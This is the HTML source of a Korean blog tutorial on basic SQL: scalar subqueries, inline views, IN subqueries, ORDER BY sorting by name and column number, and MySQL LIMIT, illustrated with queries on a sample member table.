&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT에서 사용하는 스칼라 서브쿼리는 1개의 레코드와 1개의 컬럼만 반환 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2개 이상 개수는 오류 발생&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;250&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oAVq5/btsKMmxAQTh/8vxbQjqpmkXiKNTfxIjMG0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oAVq5/btsKMmxAQTh/8vxbQjqpmkXiKNTfxIjMG0/img.png&quot; data-alt=&quot;그림46 - 스칼라 서브쿼리 사용하여 데이터 출력(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oAVq5/btsKMmxAQTh/8vxbQjqpmkXiKNTfxIjMG0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoAVq5%2FbtsKMmxAQTh%2F8vxbQjqpmkXiKNTfxIjMG0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;650&quot; height=&quot;250&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;250&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림46 - 스칼라 서브쿼리 사용하여 데이터 출력(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select name, (select email from member where seq=a.seq) from member a;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name과 member 테이블(a)의 email을 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 테이블을 사용하는 경우가 있는데, 이때 테이블에 별칭(a)을 사용하지 않으면 충돌이 발생할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bnafcC/btsKL9FHQo0/qgNgSrhzcDHFIeZXc5WxP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bnafcC/btsKL9FHQo0/qgNgSrhzcDHFIeZXc5WxP1/img.png&quot; data-alt=&quot;그림47 - 스칼라 서브쿼리 사용하여 데이터 출력(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bnafcC/btsKL9FHQo0/qgNgSrhzcDHFIeZXc5WxP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbnafcC%2FbtsKL9FHQo0%2FqgNgSrhzcDHFIeZXc5WxP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;218&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림47 - 스칼라 서브쿼리 사용하여 데이터 출력(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인라인 뷰&lt;/b&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from (select * from member)a;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; a라는 별칭을 가진 member 테이블(가상 테이블) 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from (select * from member)a where a.seq=1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; a라는 별칭을 가진 member 테이블(가상 테이블)의 seq가 1인 데이터 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;342&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGHXEe/btsKMflhpfw/rDAOURpryy7R7kmBKM0fqK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGHXEe/btsKMflhpfw/rDAOURpryy7R7kmBKM0fqK/img.png&quot; data-alt=&quot;그림48 - 인라인 뷰 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGHXEe/btsKMflhpfw/rDAOURpryy7R7kmBKM0fqK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGHXEe%2FbtsKMflhpfw%2FrDAOURpryy7R7kmBKM0fqK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;342&quot; data-origin-width=&quot;646&quot; data-origin-height=&quot;342&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림48 - 인라인 뷰 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;일반 서브쿼리&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq=(select * from member where name='guest');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq를 출력하는데, seq는 member 테이블에서 name이 guest인 데이터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다수 행 서브쿼리를 사용할 경우 = 대신 in 을 사용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq in(select seq from member);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq를 출력하는데, seq는 member 테이블의 seq인 데이터&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;347&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CedX0/btsKNyRujf8/cKV3nLfkgH7R2d6bOyefg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CedX0/btsKNyRujf8/cKV3nLfkgH7R2d6bOyefg0/img.png&quot; data-alt=&quot;그림49 - 일반 서브쿼리 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CedX0/btsKNyRujf8/cKV3nLfkgH7R2d6bOyefg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCedX0%2FbtsKNyRujf8%2FcKV3nLfkgH7R2d6bOyefg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;347&quot; data-origin-width=&quot;794&quot; data-origin-height=&quot;347&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림49 - 일반 서브쿼리 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;ORDER BY 절을 이용한 레코드 정렬&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;ORDER BY절 사용법&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1477&quot; data-origin-height=&quot;491&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ddnKNP/btsKNzXbkYr/za2ceKLdJTHIKTHIp4pLI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ddnKNP/btsKNzXbkYr/za2ceKLdJTHIKTHIp4pLI1/img.png&quot; data-alt=&quot;그림50 - ORDER BY 절 사용법&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ddnKNP/btsKNzXbkYr/za2ceKLdJTHIKTHIp4pLI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FddnKNP%2FbtsKNzXbkYr%2Fza2ceKLdJTHIKTHIp4pLI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1477&quot; height=&quot;491&quot; data-origin-width=&quot;1477&quot; data-origin-height=&quot;491&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림50 - ORDER BY 절 사용법&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ASC = 컬럼을 기준으로 오름차순, 생략 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DESC = 컬럼을 기준으로 내림차순&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오름차순은 큰 수를 기준으로, 아래에서 위로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내림차순은 큰 수를 기준으로, 위에서 아래로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정렬은 게시판, 쇼핑몰 등에서 자주 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member order by seq asc;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq를 오름차순으로 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; asc는 생략이 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member order by seq desc;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq를 내림차순으로 데이터 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1Liup/btsKOnPf6Gt/2e40e8Xo2pDr3QJUpRyplK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1Liup/btsKOnPf6Gt/2e40e8Xo2pDr3QJUpRyplK/img.png&quot; data-alt=&quot;그림51 - ORDER BY 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1Liup/btsKOnPf6Gt/2e40e8Xo2pDr3QJUpRyplK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1Liup%2FbtsKOnPf6Gt%2F2e40e8Xo2pDr3QJUpRyplK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;409&quot; data-origin-width=&quot;584&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림51 - ORDER BY 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ORDER BY 절 정렬을 위해 데이터 추가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;insert into member values(2, 'admin', 'admin@test.com');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에 seq는 2, name은 admin, email은 admin@test.com인 데이터 삽입&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7sjpv/btsKMhp0GgJ/EsKYXgG7wiJPQJ6Td8JdJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7sjpv/btsKMhp0GgJ/EsKYXgG7wiJPQJ6Td8JdJK/img.png&quot; data-alt=&quot;그림52 - insert로 데이터 삽입&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7sjpv/btsKMhp0GgJ/EsKYXgG7wiJPQJ6Td8JdJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7sjpv%2FbtsKMhp0GgJ%2FEsKYXgG7wiJPQJ6Td8JdJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;280&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림52 - insert로 데이터 삽입&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member order by seq;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq를 오름차순으로 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;seq는 오름차순으로 정렬되었지만, name은 정렬되지 않았다. name도 오름차순으로 정렬해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member order by seq, name;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq, name을 오름차순으로 데이터 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bX72QV/btsKOdTEYBG/AFLBZJx687HBba2u2K4hdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bX72QV/btsKOdTEYBG/AFLBZJx687HBba2u2K4hdK/img.png&quot; data-alt=&quot;그림53 - ORDER BY 사용하여 2개 컬럼 데이터 정렬&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bX72QV/btsKOdTEYBG/AFLBZJx687HBba2u2K4hdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbX72QV%2FbtsKOdTEYBG%2FAFLBZJx687HBba2u2K4hdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;551&quot; height=&quot;441&quot; data-origin-width=&quot;551&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림53 - ORDER BY 사용하여 2개 컬럼 데이터 정렬&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬럼이 아닌 숫자를 사용하여 정렬 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member order by 1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 첫번째 컬럼(seq)을 오름차순으로 데이터 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member order by 2;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 두번째 컬럼(name)을 오름차순으로 데이터 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;441&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVnBh8/btsKMnXLpc0/fRKHCx1343keWdxCxSkO2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVnBh8/btsKMnXLpc0/fRKHCx1343keWdxCxSkO2k/img.png&quot; data-alt=&quot;그림54 - 숫자를 사용하여 ORDER BY 정렬&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVnBh8/btsKMnXLpc0/fRKHCx1343keWdxCxSkO2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVnBh8%2FbtsKMnXLpc0%2FfRKHCx1343keWdxCxSkO2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;558&quot; height=&quot;441&quot; data-origin-width=&quot;558&quot; data-origin-height=&quot;441&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림54 - 숫자를 사용하여 ORDER BY 정렬&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 SELECT 절에 seq, name 컬럼이 있는 경우 ORDER BY에 3이 인식이될까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select seq, name from member order by 3;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 seq와 name을 출력하는데, 세번째 컬럼을 기준으로 오름차순 정렬을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 첫번째, 두번째 컬럼인 seq와 name의 데이터는 출력되지만, 세번째 컬럼인 email 데이터는 없으므로 에러 발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블 내 데이터 존재 여부가 아닌, SELECT에 의한 출력 여부가 중요하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;59&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cS70wJ/btsKOcAtbRK/olENSBFC0zKm85DfReIGq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cS70wJ/btsKOcAtbRK/olENSBFC0zKm85DfReIGq0/img.png&quot; data-alt=&quot;그림55 - SELECT에 포함되지 않은 데이터 정렬 시 에러 발생&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cS70wJ/btsKOcAtbRK/olENSBFC0zKm85DfReIGq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcS70wJ%2FbtsKOcAtbRK%2FolENSBFC0zKm85DfReIGq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;508&quot; height=&quot;59&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;59&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림55 - SELECT에 포함되지 않은 데이터 정렬 시 에러 발생&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;레코드 출력 개수 제한&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;336&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyRqA6/btsKNcaeSa8/fH3i3iqHBe5VbqH4tGhyBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyRqA6/btsKNcaeSa8/fH3i3iqHBe5VbqH4tGhyBk/img.png&quot; data-alt=&quot;그림56 - 레코드 출력 개수 제한 키워드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyRqA6/btsKNcaeSa8/fH3i3iqHBe5VbqH4tGhyBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcyRqA6%2FbtsKNcaeSa8%2FfH3i3iqHBe5VbqH4tGhyBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;605&quot; height=&quot;336&quot; data-origin-width=&quot;605&quot; data-origin-height=&quot;336&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림56 - 레코드 출력 개수 제한 키워드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레코드 출력 개수 제한 = 특정 목록 개수만 출력 가능하도록 설정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;MYSQL의 LIMIT절&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/biwvRa/btsKM3Y60CR/kZ9pJPqLVWkISS71xb6A30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/biwvRa/btsKM3Y60CR/kZ9pJPqLVWkISS71xb6A30/img.png&quot; data-alt=&quot;그림57 - MYSQL에서 LIMIT 사용 방법&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/biwvRa/btsKM3Y60CR/kZ9pJPqLVWkISS71xb6A30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbiwvRa%2FbtsKM3Y60CR%2FkZ9pJPqLVWkISS71xb6A30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1364&quot; height=&quot;439&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림57 - MYSQL에서 LIMIT 사용 방법&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OFFSET = 시작 위치, 0부터 시작, 생략 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ROW_COUNT = 레코드 개수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member limit 3;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 첫번째부터 3개 레코드 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member limit 1,4;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 두번째부터 4개 레코드 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;615&quot; data-origin-height=&quot;363&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNu2zu/btsKNfERdYZ/MDWmcZ2I02kzhZfzzIk1Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNu2zu/btsKNfERdYZ/MDWmcZ2I02kzhZfzzIk1Kk/img.png&quot; data-alt=&quot;그림58 - limit 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNu2zu/btsKNfERdYZ/MDWmcZ2I02kzhZfzzIk1Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNu2zu%2FbtsKNfERdYZ%2FMDWmcZ2I02kzhZfzzIk1Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; 